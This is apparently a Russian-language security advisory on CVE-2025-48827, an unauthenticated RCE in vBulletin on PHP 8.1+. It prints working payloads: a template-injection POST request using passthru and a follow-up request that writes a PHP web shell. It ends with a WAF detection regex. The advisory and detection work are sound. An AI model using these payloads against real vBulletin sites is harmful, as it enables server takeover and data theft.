Уязвимость CVE-2025-48827 позволяет неаутентифицированным пользователям вызывать защищенные методы API, что может привести к удаленному выполнению кода (RCE).
❗️Она затрагивает vBulletin с 5.0.0 по 5.7.5 и с 6.0.0 по 6.0.3 версий, которые работают на PHP 8.1 и выше.
vBulletin — это коммерческая платформа для создания форумов и сообществ на сайтах. Она работает на языке PHP и использует базы данных MySQL.
Метрики
Base core: 10
CWE: CWE-424
Детали уязвимости
Основная критическая проблема — изменение поведения
Reflection API в PHP 8.1.Традиционно класс ReflectionMethod в PHP требовал явного разрешения — через
setAccessible(true) вызов защищенных или закрытых методов. Но начиная с PHP 8.1 это ограничение смягчено: ReflectionMethod::invoke(). Теперь по умолчанию можно вызывать защищенные и закрытые методы.API vBulletin предоставляет конечные точки в формате:
/ajax/api/[controller]/[method]
Они реализуют маршрутизацию запросов к методам контроллеров с помощью Reflection API. Контроль доступа осуществляется на уровне метода, а не глобально.
❗️Конечные точки могут передаваться как в URI, так и параметре routestring POST-запроса.
Цепочка атаки на метод replaceAdTemplate
Метод replaceAdTemplate в vBulletin является частью API-контроллера vB_Api_Ad и предназначен для создания или обновления рекламных шаблонов.
1️⃣ Загрузка вредоносного шаблона
Злоумышленник отправляет POST-запрос с вредоносным шаблоном, например:
routestring=ajax/api/ad/replaceAdTemplate&styleid=1&location=omgItIsShell&template=<vb:if condition='"passthru"($_POST["cmd"])'> </vb:if>
•
"passthru" — это строка, интерпретируемая PHP как имя функции.•
"passthru"($_POST["cmd"]) — фактически выполняет команду, полученную в $_POST["cmd"].• Функция
passthru() выводит результат команды напрямую в HTML.• Так как условие находится внутри
<vb:if>, вызов функции происходит при отображении шаблона, независимо от возвращаемого значения (null в случае passthru).2️⃣ Отправка shell-кода
После того как вредоносный шаблон загружен и активен, злоумышленник отправляет новый POST-запрос к другому API , который вызывает созданный шаблон:
routestring=ajax/render/ad_omgItIsShell&styleid=10000&location=rce6&cmd=echo '<?php if(isset($_GET["cmd"])){echo "<pre>"; system($_GET["cmd"]); echo "</pre>";} ?>' > shell9.phpШаблон, загруженный на первом этапе, должен быть активен и применим на странице, обрабатываемой ajax/render/**
Как защищаться
Если со вторым этапом все более-менее понятно — это просто Shell, который могут обнаружить многие WAF без особых трудностей, — то первый может создать проблемы.
Мы точно знаем, что атака происходит с использованием шаблона <vb:if> *** <\vb:if>.
Так же мы знаем, что в шаблоне должен находиться параметр condition.
Предлагаемое регулярное выражение:
<vb:if\s+condition\s*=\s*["'].*?(passthru|system|shell_exec|eval|assert).*?(\$_(GET|POST|REQUEST))\s*\[["'].*?["']\].*?["']
